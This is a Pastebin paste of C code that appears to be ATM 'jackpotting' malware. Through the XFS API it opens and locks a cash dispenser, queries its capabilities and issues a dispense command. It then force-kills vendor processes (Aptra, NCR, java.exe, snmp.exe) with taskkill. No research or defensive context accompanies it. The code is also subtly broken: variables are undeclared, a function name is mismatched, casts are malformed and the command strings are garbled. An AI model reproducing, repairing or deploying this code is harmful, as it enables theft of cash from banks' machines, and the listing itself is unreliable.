Advertisement
Guest User

Untitled

a guest
Jul 15th, 2018
68
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 3.93 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <stdbool.h>
  4. #include <xfsapi.h>
  5. #include <xfscdm.h>
  6.  
  7. #define _ver_xfs_require 0x0100000d
  8. #define _ver_spi_require 0x0100000d
  9.  
  10. const char _logicalName[] = "CourrencyDispenser1";
  11.  
  12. #define TIME 0x07D0
  13.  
  14. void _shell_execute_cmd(char *_v1,
  15.                         char *_v2,
  16.                         char *_v3,
  17.                         char *_v4)
  18. {
  19.     FILE *fp;
  20.  
  21.     fp = popen(_v1," r ");
  22.  
  23.     if (!fp){
  24.         fprintf(stderr," erro "); exit( 0 );
  25.     }else {
  26.         while(fgets(_v1,sizeof(_v1),fp) != NULL){
  27.             printf("%s \n",_v1);
  28.         }
  29.     }
  30.     Sleep(TIME); system(_v2); Sleep(TIME); system(_v3); Sleep(TIME); system(_v4);
  31. }
  32.  
  33. int main()
  34. {
  35.     HRESULT hResult;
  36.     WFSVERSION lpwfs_version;
  37.     int v1,v2,v3,v4,v5,v6,v7,capabilitis,cashUnit;
  38.  
  39.     HAPP hApp =0;
  40.     DWORD dwTraceLevel = 0;
  41.     WFSVERSION lpSRVcVersion,lSPIversion;
  42.     LPHSERVICE lpHservice;
  43.  
  44.     WFSRESULT *lpResult;
  45.  
  46.     hResult = WFSStartUp(_ver_xfs_require,&lp_wfs_version);
  47.  
  48.     if (hResult == WFS_SUCCESS)
  49.     {
  50.         Sleep(0x1);
  51.         fprintf(stdout," OK ");
  52.     }
  53.  
  54.     v1 = WFSOpen(_logicalName,WFS_DEFAULT_HAPP,"CDM",dwTraceLevel,WFS_INDEFINITE_WAIT,_ver_spi_require,&lpSRVcVersion,&lSPIversion,&lpHservice);
  55.  
  56.     v2 = WFSLock(hService,WFS_INDEFINITE_WAIT,&lpResult);
  57.  
  58.     v6 = WFSGetInfo(hService,WFS_INF_CDM_CAPABILITIES,(void *)&lpStatus,WFS_INDEFINITE_WAIT,(void **)&lppResult);
  59.  
  60.     printf(" Maximo dispenser Itens: %d \n",(((WFSCDMCAPS)lppResult)->wMaxDispenseItems);
  61.  
  62.     capabilitis = (*lppResult);
  63.  
  64.     cashUnit = (*lppResult +30);
  65.  
  66.     v7 = (WFSCDMCAPS)lppResult->wMaxDispenseItems;
  67.  
  68.  
  69.     switch(((WFSCDMCAPS)lppResult)->fwtype){
  70.         default:
  71.             fprintf(stdout," exit! ");
  72.             break;
  73.         case WFS_CDM_TELLERBILL:
  74.             fprintf(stdout,"The CDM is a Teller Bill Dispenser.");
  75.             break;
  76.         case WFS_CDM_SELFSERVICEBILL:
  77.             fprintf(stdout,"The CDM is a Self Service Bill Dispenser.");
  78.             break;
  79.         case WFS_CDM_TELLERCOIN:
  80.             fprintf(stdout,"The CDM is a Teller Coin Dispenser.");
  81.             break;
  82.         case WFS_CDM_SELFSERVICECOIN:
  83.             fprintf(stdout,"The CDM is a Self Service Coin Dispenser.");
  84.             break;
  85.     }
  86.     ex->_denomination.ulCashBox = 0x1;
  87.     ex->_denomination.ulAmount  = 0x848;  
  88.  
  89.     ex->_disp.usMixNumber = WFS_CDM_INDIVIDUAL;
  90.  
  91.     ex->_disp.usTellerID  = 0x0 ;  
  92.     ex->_disp.fwPosition  = 0x0 ;  
  93.     ex->_disp.bPresent    = 0x0 ;
  94.    
  95.     v3 = WFSExecute(hService,WFS_CMD_CDM_DISPENSE,(void *)&lpDispense->lpDenomination->lpulValues,WFS_INDEFINITE_WAIT,&lppResult);
  96.  
  97.     switch((WFSCDMDISPENSE)->lppResult->fwPosition){
  98.         default:
  99.             break;
  100.         case WFS_CDM_POSNULL:
  101.  
  102.             fprintf(stdout,"  The default configuration information is used. This can \n");
  103.             break;
  104.         case WFS_CDM_POSLEFT:
  105.             fprintf(stdout," Present items to left side of device. \n");
  106.             break;
  107.         case WFS_CDM_POSRIGHT:
  108.             fprintf(stdout," Present items to right side of device.\n");
  109.             break;
  110.         case WFS_CDM_POSCENTER:
  111.             fprintf(stdout, "  Present items to center output position. \n");
  112.             break;
  113.         case WFS_CDM_POSTOP:
  114.             fprintf(stdout, " Present items to the top output position. \n");
  115.             break;
  116.         case WFS_CDM_POSBOTTOM:
  117.             fprintf(stdout, " WFS_CDM_POSFRONT \n");
  118.             break;
  119.         case WFS_CDM_POSREAR:
  120.             fprintf(stdout," Present items to the rear output position.\n");
  121.             break;
  122.     }
  123.      v4 = WFSUnlock(hService);
  124.  
  125.      if (!v4)
  126.      {
  127.         shell_execute_cmd("taskkill /IM aptra* /T /F","taskkill / ncr * / T / F","taskkill / IM java.exe / T / F","taskkill / IM snmp.exe / T / F");
  128.      }
  129.    
  130.     v5 = WFSClose(hService);
  131.  
  132.     system("pause"); return hResult;
  133.  
  134. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement